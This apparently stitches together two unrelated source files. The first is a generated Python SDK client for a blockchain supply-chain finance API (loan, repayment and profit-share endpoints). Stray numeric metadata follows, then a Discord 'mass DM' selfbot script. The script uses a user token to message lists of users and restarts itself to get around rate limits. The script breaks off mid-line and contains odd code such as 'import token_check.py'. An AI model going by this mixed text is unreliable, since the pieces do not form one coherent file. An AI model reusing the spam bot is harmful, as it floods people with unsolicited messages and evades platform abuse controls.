UtilClient.validate_model(request) return propertychain_models.CreateCmportProfitrateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.profitrate.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_cmport_profitrate_ex_async( self, request: propertychain_models.CreateCmportProfitrateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCmportProfitrateResponse: """ Description: 创建分润比例配置 Summary: 创建分润比例配置 """ UtilClient.validate_model(request) return propertychain_models.CreateCmportProfitrateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.profitrate.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def apply_cmport_finance( self, request: propertychain_models.ApplyCmportFinanceRequest, ) -> propertychain_models.ApplyCmportFinanceResponse: """ Description: 粮达网发起融资申请,经过金融平台,然后金融平台再全量同步给区块链应用。 Summary: 融资申请信息落地到区块链 """ runtime = util_models.RuntimeOptions() headers = {} return self.apply_cmport_finance_ex(request, headers, runtime) async def apply_cmport_finance_async( self, request: propertychain_models.ApplyCmportFinanceRequest, ) -> propertychain_models.ApplyCmportFinanceResponse: """ Description: 粮达网发起融资申请,经过金融平台,然后金融平台再全量同步给区块链应用。 Summary: 融资申请信息落地到区块链 """ runtime = util_models.RuntimeOptions() headers = {} return await self.apply_cmport_finance_ex_async(request, headers, runtime) def apply_cmport_finance_ex( self, request: propertychain_models.ApplyCmportFinanceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ApplyCmportFinanceResponse: """ Description: 粮达网发起融资申请,经过金融平台,然后金融平台再全量同步给区块链应用。 Summary: 融资申请信息落地到区块链 """ UtilClient.validate_model(request) return propertychain_models.ApplyCmportFinanceResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.finance.apply', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def apply_cmport_finance_ex_async( self, request: propertychain_models.ApplyCmportFinanceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ApplyCmportFinanceResponse: """ Description: 粮达网发起融资申请,经过金融平台,然后金融平台再全量同步给区块链应用。 Summary: 融资申请信息落地到区块链 """ UtilClient.validate_model(request) return propertychain_models.ApplyCmportFinanceResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.finance.apply', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_cmport_enterprisestatement( self, request: propertychain_models.ListCmportEnterprisestatementRequest, ) -> propertychain_models.ListCmportEnterprisestatementResponse: """ Description: 分润对账,企业到当前记账日期的累计利润信息 Summary: 企业分润对账单 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_cmport_enterprisestatement_ex(request, headers, runtime) async def list_cmport_enterprisestatement_async( self, request: propertychain_models.ListCmportEnterprisestatementRequest, ) -> propertychain_models.ListCmportEnterprisestatementResponse: """ Description: 分润对账,企业到当前记账日期的累计利润信息 Summary: 企业分润对账单 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_cmport_enterprisestatement_ex_async(request, headers, runtime) def list_cmport_enterprisestatement_ex( self, request: propertychain_models.ListCmportEnterprisestatementRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportEnterprisestatementResponse: """ Description: 分润对账,企业到当前记账日期的累计利润信息 Summary: 企业分润对账单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportEnterprisestatementResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.enterprisestatement.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_cmport_enterprisestatement_ex_async( self, request: propertychain_models.ListCmportEnterprisestatementRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportEnterprisestatementResponse: """ Description: 分润对账,企业到当前记账日期的累计利润信息 Summary: 企业分润对账单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportEnterprisestatementResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.enterprisestatement.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_cmport_userstatement( self, request: propertychain_models.ListCmportUserstatementRequest, ) -> propertychain_models.ListCmportUserstatementResponse: """ Description: 用户对账单 Summary: 用户对账单 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_cmport_userstatement_ex(request, headers, runtime) async def list_cmport_userstatement_async( self, request: propertychain_models.ListCmportUserstatementRequest, ) -> propertychain_models.ListCmportUserstatementResponse: """ Description: 用户对账单 Summary: 用户对账单 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_cmport_userstatement_ex_async(request, headers, runtime) def list_cmport_userstatement_ex( self, request: propertychain_models.ListCmportUserstatementRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportUserstatementResponse: """ Description: 用户对账单 Summary: 用户对账单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportUserstatementResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.userstatement.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_cmport_userstatement_ex_async( self, request: propertychain_models.ListCmportUserstatementRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportUserstatementResponse: """ Description: 用户对账单 Summary: 用户对账单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportUserstatementResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.userstatement.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_cmport_userprofit( self, request: propertychain_models.ListCmportUserprofitRequest, ) -> propertychain_models.ListCmportUserprofitResponse: """ Description: 用户明细清单 Summary: 用户明细清单 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_cmport_userprofit_ex(request, headers, runtime) async def list_cmport_userprofit_async( self, request: propertychain_models.ListCmportUserprofitRequest, ) -> propertychain_models.ListCmportUserprofitResponse: """ Description: 用户明细清单 Summary: 用户明细清单 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_cmport_userprofit_ex_async(request, headers, runtime) def list_cmport_userprofit_ex( self, request: propertychain_models.ListCmportUserprofitRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportUserprofitResponse: """ Description: 用户明细清单 Summary: 用户明细清单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportUserprofitResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.userprofit.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_cmport_userprofit_ex_async( self, request: propertychain_models.ListCmportUserprofitRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportUserprofitResponse: """ Description: 用户明细清单 Summary: 用户明细清单 """ UtilClient.validate_model(request) return propertychain_models.ListCmportUserprofitResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.userprofit.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_cmport_bankfee( self, request: propertychain_models.QueryCmportBankfeeRequest, ) -> propertychain_models.QueryCmportBankfeeResponse: """ Description: 还款本息查询 Summary: 还款本息查询 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_cmport_bankfee_ex(request, headers, runtime) async def query_cmport_bankfee_async( self, request: propertychain_models.QueryCmportBankfeeRequest, ) -> propertychain_models.QueryCmportBankfeeResponse: """ Description: 还款本息查询 Summary: 还款本息查询 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_cmport_bankfee_ex_async(request, headers, runtime) def query_cmport_bankfee_ex( self, request: propertychain_models.QueryCmportBankfeeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryCmportBankfeeResponse: """ Description: 还款本息查询 Summary: 还款本息查询 """ UtilClient.validate_model(request) return propertychain_models.QueryCmportBankfeeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.bankfee.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_cmport_bankfee_ex_async( self, request: propertychain_models.QueryCmportBankfeeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryCmportBankfeeResponse: """ Description: 还款本息查询 Summary: 还款本息查询 """ UtilClient.validate_model(request) return propertychain_models.QueryCmportBankfeeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.bankfee.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_cmport_profitpartner( self, request: propertychain_models.CreateCmportProfitpartnerRequest, ) -> propertychain_models.CreateCmportProfitpartnerResponse: """ Description: 创建分润归属配置 Summary: 创建分润归属配置 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_cmport_profitpartner_ex(request, headers, runtime) async def create_cmport_profitpartner_async( self, request: propertychain_models.CreateCmportProfitpartnerRequest, ) -> propertychain_models.CreateCmportProfitpartnerResponse: """ Description: 创建分润归属配置 Summary: 创建分润归属配置 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_cmport_profitpartner_ex_async(request, headers, runtime) def create_cmport_profitpartner_ex( self, request: propertychain_models.CreateCmportProfitpartnerRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCmportProfitpartnerResponse: """ Description: 创建分润归属配置 Summary: 创建分润归属配置 """ UtilClient.validate_model(request) return propertychain_models.CreateCmportProfitpartnerResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.profitpartner.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_cmport_profitpartner_ex_async( self, request: propertychain_models.CreateCmportProfitpartnerRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCmportProfitpartnerResponse: """ Description: 创建分润归属配置 Summary: 创建分润归属配置 """ UtilClient.validate_model(request) return propertychain_models.CreateCmportProfitpartnerResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.profitpartner.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def cancel_cmport_finance( self, request: propertychain_models.CancelCmportFinanceRequest, ) -> propertychain_models.CancelCmportFinanceResponse: """ Description: 监管方(粮达网)撤销融资申请 Summary: 撤销融资申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.cancel_cmport_finance_ex(request, headers, runtime) async def cancel_cmport_finance_async( self, request: propertychain_models.CancelCmportFinanceRequest, ) -> propertychain_models.CancelCmportFinanceResponse: """ Description: 监管方(粮达网)撤销融资申请 Summary: 撤销融资申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.cancel_cmport_finance_ex_async(request, headers, runtime) def cancel_cmport_finance_ex( self, request: propertychain_models.CancelCmportFinanceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelCmportFinanceResponse: """ Description: 监管方(粮达网)撤销融资申请 Summary: 撤销融资申请 """ UtilClient.validate_model(request) return propertychain_models.CancelCmportFinanceResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.finance.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def cancel_cmport_finance_ex_async( self, request: propertychain_models.CancelCmportFinanceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelCmportFinanceResponse: """ Description: 监管方(粮达网)撤销融资申请 Summary: 撤销融资申请 """ UtilClient.validate_model(request) return propertychain_models.CancelCmportFinanceResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.finance.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def notify_cmport_bank( self, request: propertychain_models.NotifyCmportBankRequest, ) -> propertychain_models.NotifyCmportBankResponse: """ Description: 银行融资审核结果同步 Summary: 银行融资审核结果同步 """ runtime = util_models.RuntimeOptions() headers = {} return self.notify_cmport_bank_ex(request, headers, runtime) async def notify_cmport_bank_async( self, request: propertychain_models.NotifyCmportBankRequest, ) -> propertychain_models.NotifyCmportBankResponse: """ Description: 银行融资审核结果同步 Summary: 银行融资审核结果同步 """ runtime = util_models.RuntimeOptions() headers = {} return await self.notify_cmport_bank_ex_async(request, headers, runtime) def notify_cmport_bank_ex( self, request: propertychain_models.NotifyCmportBankRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportBankResponse: """ Description: 银行融资审核结果同步 Summary: 银行融资审核结果同步 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportBankResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.bank.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def notify_cmport_bank_ex_async( self, request: propertychain_models.NotifyCmportBankRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportBankResponse: """ Description: 银行融资审核结果同步 Summary: 银行融资审核结果同步 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportBankResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.bank.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def notify_cmport_loan( self, request: propertychain_models.NotifyCmportLoanRequest, ) -> propertychain_models.NotifyCmportLoanResponse: """ Description: 银行放款结果同步给区块链 Summary: 银行放款结果同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return self.notify_cmport_loan_ex(request, headers, runtime) async def notify_cmport_loan_async( self, request: propertychain_models.NotifyCmportLoanRequest, ) -> propertychain_models.NotifyCmportLoanResponse: """ Description: 银行放款结果同步给区块链 Summary: 银行放款结果同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return await self.notify_cmport_loan_ex_async(request, headers, runtime) def notify_cmport_loan_ex( self, request: propertychain_models.NotifyCmportLoanRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportLoanResponse: """ Description: 银行放款结果同步给区块链 Summary: 银行放款结果同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportLoanResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.loan.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def notify_cmport_loan_ex_async( self, request: propertychain_models.NotifyCmportLoanRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportLoanResponse: """ Description: 银行放款结果同步给区块链 Summary: 银行放款结果同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportLoanResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.loan.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def notify_cmport_repay( self, request: propertychain_models.NotifyCmportRepayRequest, ) -> propertychain_models.NotifyCmportRepayResponse: """ Description: 还款结果同步给区块链 Summary: 还款结果同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return self.notify_cmport_repay_ex(request, headers, runtime) async def notify_cmport_repay_async( self, request: propertychain_models.NotifyCmportRepayRequest, ) -> propertychain_models.NotifyCmportRepayResponse: """ Description: 还款结果同步给区块链 Summary: 还款结果同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return await self.notify_cmport_repay_ex_async(request, headers, runtime) def notify_cmport_repay_ex( self, request: propertychain_models.NotifyCmportRepayRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportRepayResponse: """ Description: 还款结果同步给区块链 Summary: 还款结果同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportRepayResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.repay.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def notify_cmport_repay_ex_async( self, request: propertychain_models.NotifyCmportRepayRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportRepayResponse: """ Description: 还款结果同步给区块链 Summary: 还款结果同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportRepayResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.repay.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_cmport_bankfee( self, request: propertychain_models.ListCmportBankfeeRequest, ) -> propertychain_models.ListCmportBankfeeResponse: """ Description: 还款本息查询-分页 Summary: 还款本息查询-分页 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_cmport_bankfee_ex(request, headers, runtime) async def list_cmport_bankfee_async( self, request: propertychain_models.ListCmportBankfeeRequest, ) -> propertychain_models.ListCmportBankfeeResponse: """ Description: 还款本息查询-分页 Summary: 还款本息查询-分页 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_cmport_bankfee_ex_async(request, headers, runtime) def list_cmport_bankfee_ex( self, request: propertychain_models.ListCmportBankfeeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportBankfeeResponse: """ Description: 还款本息查询-分页 Summary: 还款本息查询-分页 """ UtilClient.validate_model(request) return propertychain_models.ListCmportBankfeeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.bankfee.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_cmport_bankfee_ex_async( self, request: propertychain_models.ListCmportBankfeeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListCmportBankfeeResponse: """ Description: 还款本息查询-分页 Summary: 还款本息查询-分页 """ UtilClient.validate_model(request) return propertychain_models.ListCmportBankfeeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.bankfee.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def notify_cmport_logistics( self, request: propertychain_models.NotifyCmportLogisticsRequest, ) -> propertychain_models.NotifyCmportLogisticsResponse: """ Description: 物流轨迹同步给区块链 Summary: 物流轨迹同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return self.notify_cmport_logistics_ex(request, headers, runtime) async def notify_cmport_logistics_async( self, request: propertychain_models.NotifyCmportLogisticsRequest, ) -> propertychain_models.NotifyCmportLogisticsResponse: """ Description: 物流轨迹同步给区块链 Summary: 物流轨迹同步给区块链 """ runtime = util_models.RuntimeOptions() headers = {} return await self.notify_cmport_logistics_ex_async(request, headers, runtime) def notify_cmport_logistics_ex( self, request: propertychain_models.NotifyCmportLogisticsRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportLogisticsResponse: """ Description: 物流轨迹同步给区块链 Summary: 物流轨迹同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportLogisticsResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.cmport.logistics.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def notify_cmport_logistics_ex_async( self, request: propertychain_models.NotifyCmportLogisticsRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.NotifyCmportLogisticsResponse: """ Description: 物流轨迹同步给区块链 Summary: 物流轨迹同步给区块链 """ UtilClient.validate_model(request) return propertychain_models.NotifyCmportLogisticsResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.cmport.logistics.notify', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) )
38.164548
187
0.659457
14,998
171,168
7.296773
0.034338
0.135768
0.048777
0.088946
0.983835
0.978088
0.963394
0.909957
0.867641
0.859554
0
0.002882
0.247891
171,168
4,484
188
38.17306
0.8472
0.037145
0
0.706473
1
0
0.076788
0.047226
0
0
0
0
0.001385
1
0.05469
false
0
0.084458
0
0.254759
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
5a13e68dae411f9f59b5cd84dc7a8ee94ee8831c
22,856
py
Python
Mass-DM/Mass_dm_single_token.py
mrnobody441/dc-dm-bot
741f517c349a7f0895346fea31af3173893ae495
[ "MIT" ]
1
2022-02-03T15:40:39.000Z
2022-02-03T15:40:39.000Z
Mass-DM/Mass_dm_single_token.py
mrnobody441/dc-dm-bot
741f517c349a7f0895346fea31af3173893ae495
[ "MIT" ]
null
null
null
Mass-DM/Mass_dm_single_token.py
mrnobody441/dc-dm-bot
741f517c349a7f0895346fea31af3173893ae495
[ "MIT" ]
null
null
null
import sys, subprocess, random, json, asyncio, os, time import token_check.py try: import colorama, pyfade, discord except ImportError: subprocess.check_call([sys.executable, "-m", "pip", "install", 'colorama']) subprocess.check_call([sys.executable, "-m", "pip", "install", 'pyfade']) subprocess.check_call([sys.executable, "-m", "pip", "install", 'discord.py']) subprocess.check_call([sys.executable, "-m", "pip", "install", 'discord']) from colorama import Fore from datetime import datetime from discord.ext import commands def error_msg(): print(pyfade.Fade.Horizontal(pyfade.Colors.purple_to_red, """Bruhhhh Seems like you\'re new to Python and/or JSON.. Join the Support-Server and lemme help you :) https://discord.gg/verQuxaBqy""")) time.sleep(10) input(f"{Fore.YELLOW}Press Enter to exit the script") raise SystemExit sys.tracebacklimit = 0 bot = discord.Client() with open('config.json') as f: yamete_kudasai = json.load(f) token = yamete_kudasai['token'] cooldown = yamete_kudasai['min_cooldown'] cooldown_max = yamete_kudasai['max_cooldown'] display_sleep = yamete_kudasai['display_sleep'] message = yamete_kudasai ['message'] always_sleep = yamete_kudasai['sleep_on_exception'] duplicate = yamete_kudasai['dm_already_dmed_users'] fetch_users = yamete_kudasai['always_fetch_users'] send_embed = yamete_kudasai['send_embed'] embed_title = yamete_kudasai['embed_title'] embed_description = yamete_kudasai['embed_description'] embed_author = yamete_kudasai['embed_author'] embed_author_icon_url = yamete_kudasai['embed_author_icon_url'] embed_footer = yamete_kudasai['embed_footer'] embed_footer_icon_url = yamete_kudasai['embed_footer_icon_url'] embed_thumbnail_url = yamete_kudasai['embed_thumbnail_url'] embed_image_url = yamete_kudasai['embed_image_url'] if duplicate == "True": munanyo = "True" elif duplicate == "False": munanyo = "False" else: print(f"{Fore.RED}[DUPLICATE ERROR]") error_msg() async def mass_dm(): with open("ids.json", "r") as file: data = json.load(file) with open("blacklistedids.json", "r") as file: blcklstdata = json.load(file) indx = 0 for i in data: with open("alreadyusedids.json", "r") as file: penis = json.load(file) now = datetime.now() current_time = now.strftime("%H:%M") indx += 1 if i in blcklstdata: if fetch_users == "False": print(f"{Fore.BLUE}{current_time} {Fore.BLACK}[x] Blacklisted User {Fore.YELLOW}{i} {Fore.BLACK}{indx} / {len(data)}") elif fetch_users == "True": chupapi = await bot.fetch_user(i) print(f"{Fore.BLUE}{current_time} {Fore.BLACK}[x] Blacklisted User {Fore.YELLOW}{chupapi} {Fore.BLACK}{indx} / {len(data)}") print(f"{Fore.YELLOW}Sleeping 2 seconds") await asyncio.sleep(2) else: print(f"{Fore.RED}[FETCH USERS ERROR]") error_msg() elif munanyo == "False": if i in penis: if fetch_users == "False": print(f"{Fore.BLUE}{current_time} {Fore.LIGHTMAGENTA_EX}[x] Avoiding Duplicates: {Fore.YELLOW}{i} {Fore.BLACK}{indx} / {len(data)}") elif fetch_users == "True": chupapi = await bot.fetch_user(i) print(f"{Fore.BLUE}{current_time} {Fore.LIGHTMAGENTA_EX}[x] Avoiding Duplicates: {Fore.YELLOW}{chupapi} {Fore.BLACK}{indx} / {len(data)}") print(f"{Fore.YELLOW}Sleeping 2 seconds") await asyncio.sleep(2) else: print(f"{Fore.RED}[FETCH USERS ERROR]") error_msg() else: chupapi = await bot.fetch_user(i) try: await chupapi.send(message.replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace('user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}')) print( f"{Fore.BLUE}{current_time} {Fore.LIGHTGREEN_EX}[+] Sent {message} to {Fore.YELLOW}{chupapi}{Fore.LIGHTGREEN_EX} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") else: pass await asyncio.sleep(pablo) except discord.Forbidden as e: if e.code == 40003: print( f"{Fore.LIGHTYELLOW_EX}You have been Rate Limited\nThe Code will be restarted in 750 seconds - {Fore.RED}{e}") await asyncio.sleep(750) os.execv(sys.executable, ['python'] + sys.argv) continue else: print( f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t send a DM to {Fore.YELLOW}{chupapi}{Fore.RED} - {e} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if always_sleep == "True": if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") await asyncio.sleep(pablo) except discord.HTTPException as e: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t fetch {Fore.YELLOW}{i}{Fore.RED} - {e} {indx} / {len(data)}") if chupapi.id not in penis: await asyncio.sleep(0.01) penis.append(chupapi.id) with open("alreadyusedids.json", "w") as file: await asyncio.sleep(0.01) json.dump(penis, file) else: try: chupapi = await bot.fetch_user(i) await chupapi.send(message.replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace('user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}')) print(f"{Fore.BLUE}{current_time} {Fore.LIGHTGREEN_EX}[+] Sent {message} to {Fore.YELLOW}{chupapi}{Fore.LIGHTGREEN_EX} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") else: pass await asyncio.sleep(pablo) except discord.Forbidden as e: if e.code == 40003: print( f"{Fore.LIGHTYELLOW_EX}You have been Rate Limited\nThe Code will be restarted in 750 seconds - {Fore.RED}{e}") await asyncio.sleep(750) os.execv(sys.executable, ['python'] + sys.argv) continue else: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t send a DM to {Fore.YELLOW}{chupapi}{Fore.RED} - {e} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if always_sleep == "True": if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") await asyncio.sleep(pablo) except discord.HTTPException as e: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t fetch {Fore.YELLOW}{i}{Fore.RED} - {e} {indx} / {len(data)}") if chupapi.id not in penis: await asyncio.sleep(0.01) penis.append(chupapi.id) with open("alreadyusedids.json", "w") as file: await asyncio.sleep(0.01) json.dump(penis, file) input(f"{Fore.LIGHTGREEN_EX}Press Enter 5 times to close the program.") [input(i) for i in range(4, 0, -1)] print("Goodbye!\nhttps://github.com/hoemotion/mass-dm-discord Don\'t forget to leave a star!!") await sys.exit() async def mass_dm_embed(): with open("ids.json", "r") as file: data = json.load(file) with open("blacklistedids.json", "r") as file: blcklstdata = json.load(file) indx = 0 for i in data: with open("alreadyusedids.json", "r") as file: penis = json.load(file) now = datetime.now() current_time = now.strftime("%H:%M") indx += 1 if i in blcklstdata: if fetch_users == "False": print(f"{Fore.BLUE}{current_time} {Fore.BLACK}[x] Blacklisted User {Fore.YELLOW}{i} {Fore.BLACK}{indx} / {len(data)}") elif fetch_users == "True": chupapi = await bot.fetch_user(i) print(f"{Fore.BLUE}{current_time} {Fore.BLACK}[x] Blacklisted User {Fore.YELLOW}{chupapi} {Fore.BLACK}{indx} / {len(data)}") print(f"{Fore.YELLOW}Sleeping 2 seconds") await asyncio.sleep(2) else: print(f"{Fore.RED}[FETCH USERS ERROR]") error_msg() elif munanyo == "False": if i in penis: if fetch_users == "False": print(f"{Fore.BLUE}{current_time} {Fore.LIGHTMAGENTA_EX}[x] Avoiding Duplicates: {Fore.YELLOW}{i} {Fore.BLACK}{indx} / {len(data)}") elif fetch_users == "True": chupapi = await bot.fetch_user(i) print(f"{Fore.BLUE}{current_time} {Fore.LIGHTMAGENTA_EX}[x] Avoiding Duplicates: {Fore.YELLOW}{chupapi} {Fore.BLACK}{indx} / {len(data)}") print(f"{Fore.YELLOW}Sleeping 2 seconds") await asyncio.sleep(2) else: print(f"{Fore.RED}[FETCH USERS ERROR]") error_msg() else: chupapi = await bot.fetch_user(i) embed_skrr = discord.Embed( title=f"{embed_title}".replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace( 'user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id', f'{bot.user.id}').replace( 'selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace( 'selfbot_discriminator', f'{bot.user.discriminator}'), icon_url=embed_footer_icon_url.replace('user_avatar', f'{chupapi.avatar_url}').replace( 'selfbot_avatar', f'{bot.user.avatar_url}'), description=f"{embed_description}".replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace( 'user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id', f'{bot.user.id}').replace( 'selfbot_name', 